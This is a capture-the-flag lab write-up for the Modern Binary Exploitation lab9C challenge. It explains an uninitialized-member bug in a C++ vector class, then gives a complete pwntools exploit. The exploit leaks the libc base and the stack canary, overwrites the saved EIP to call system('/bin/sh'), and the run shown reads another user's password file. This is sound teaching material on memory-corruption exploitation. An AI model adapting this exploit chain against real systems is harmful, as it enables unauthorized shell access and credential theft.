For this lab, we are given a program and its corresponding source code in C++.

/*
 *  compile: g++ -fstack-protector-all -z relro -z now ./lab9C.cpp -o lab9C
 *
 *  DSVector - A basic homwork implementation of std::vector
 *  This is a wrapper program to test it!
 */

#include <iostream>
#include <limits>
#include <cstdlib>
#include <cstdio>
#include <cstring>
#include <unistd.h>
#include "utils.h"

ENABLE_TIMEOUT(60)

void
print_menu(void)
{   
    printf("+------- DSVector Test Menu -------+\n"
           "| 1. Append item                   |\n"
           "| 2. Read item                     |\n"
           "| 3. Quit                          |\n"
           "+----------------------------------+\n");
}

template <class T>
class DSVector {
    public:
                     // I don't like indexing from 0, I learned VB.NET first.
        DSVector() : len(1), alloc_len(len+256) {}
        unsigned int size() { return len; }
        void append(T item);
                                            // No info leaks, either!
        T get(unsigned int index) { return (index < alloc_len ? vector_data[index] : -1); };
    private:
        unsigned int alloc_len;
        unsigned int len;
        // I was asleep during the dynamic sizing part, at least you can't overflow!
        T vector_data[1+256];
};

template <class T>
void
DSVector<T>::append(T item)
{   
    // No overflow for you!
    if (len >= alloc_len) {
        std::cout << "Vector is full!" << std::endl;
        return;
    }
    vector_data[this->len++] = item;
}

int
main(int argc, char *argv[])
{   
    DSVector<int> test1;
    unsigned int choice = 0;
    bool done = false;
    disable_buffering(stdout);

    while (!done) {
        print_menu();
        std::cout << "Enter choice: ";
        choice = get_unum();

        /* handle menu selection */
        switch (choice) {
        case 1:
            std::cout << "Enter a number: ";
            choice = get_unum();
            test1.append(choice);
            break;
        case 2:
            std::cout << "Choose an index: ";
            choice = get_unum();
            printf("DSVector[%d] = %d\n", choice, test1.get(choice));
            break;
        case 3:
            done = true;
            break;
        default:
            puts("Invalid choice!");
            break;
        }
    }

    return EXIT_SUCCESS;
}

If we run checksec, we can see that stack canaries, NX, PIE and full RELRO are.

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

Vulnerability

There is a subtle uninitialized variable vulnerability introduced in this program due to the order in which the member variables in the DSVector class are declared and initialized.

They are declared in this order:

unsigned int alloc_len;
unsigned int len;

However, in the class constructor, the initialization order is different.

DSVector() : len(1), alloc_len(len+256) {}

Because of this difference, and because in C++, member variables are initialized in the same order in which they are declared, alloc_len will be initialized to a very large value, as len will still be uninitialized.

We can verify this in gdb:

gdb-peda$ x/32xw 0xffffcf90
0xffffcf90:     0x04f452fe      0x00000003      0x9e8a3fca      0x00000008
0xffffcfa0:     0x00000008      0x00000008      0xf7eede95      0xf7fdaacc

The values shown correspond to the following.

this.alloc_len @ 0xffffcf90
this.len @ 0xffffcf94
this.vector_data[1] @ 0xffffcf9c

Due to this error, we can read and write values to and off the stack, as the checks for read and writes all rely on the alloc_len variable.

We can use this primitive to leak the base address of libc, the address of system@libc, and the value of the stack canary, which we can later use to patch the canary and overwrite the saved EIP of the main function to make it call system("/bin/sh\0"); upon exiting.

Putting everything together, the following exploit will give us a shell.

Solution

#!/usr/bin/env python

from pwn import *
import sys

def append(number):
    r.sendline("1")
    r.recvuntil(": ")
    r.sendline(str(number))
    r.recvuntil(": ")

def read(index):
    r.sendline("2")
    r.recvuntil(": ")
    r.sendline(str(index))
    return r.recvuntil(": ")

def quit():
    r.sendline("3")

def exploit(r):
    r.recvuntil(": ")

    ## INFOLEAKS
    libc_leak = int(read(259).split()[2])
    libc_base =  libc_leak-0x1aa000
    log.success("libc base found @ "+hex(libc_base&0xffffffff))
    system = libc_base+0x40190
    binsh = libc_base+0x160a24
    log.success("system found @ "+hex(system & 0xffffffff))
    log.success('"/bin/sh" string found  @ '+hex(binsh & 0xffffffff))
    canary = int(read(257).split()[2])
    log.success("canary leaked: "+ hex(canary & 0xffffffff))
    stack_leak = int(read(263).split()[2])

    ## CONTROL EIP
    for i in range(256):
        append(1094795585)
    append(canary)
    append(1094795585)
    append(1094795585)
    append(1094795585)
    append(system)      # overwrites EIP with system
    append(0)           # filler
    append(binsh)       # "/bins/sh\0"
    quit()

    r.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        exploit(r)
    else:
        r = process(['/home/rh0gue/Documents/MBE/lab09/9C/lab9C'])
        print util.proc.pidof(r)
        pause()
        exploit(r)
rh0gue@vexillum:~/Documents/MBE/lab09/9C$ python solve.py warzone 9943

[*] For remote: solve.py HOST PORT
[+] Opening connection to warzone on port 9943: Done
[+] libc base found @ 0xb7496000
[+] system found @ 0xb74d6190
[+] "/bin/sh" string found  @ 0xb75f6a24
[+] canary leaked: 0x79ecf900
[*] Switching to interactive mode
$ id
uid=1034(lab9A) gid=1035(lab9A) groups=1035(lab9A),1001(gameuser)
$ cat /home/lab9A/.pass
1_th0uGht_th4t_w4rn1ng_wa5_l4m3
$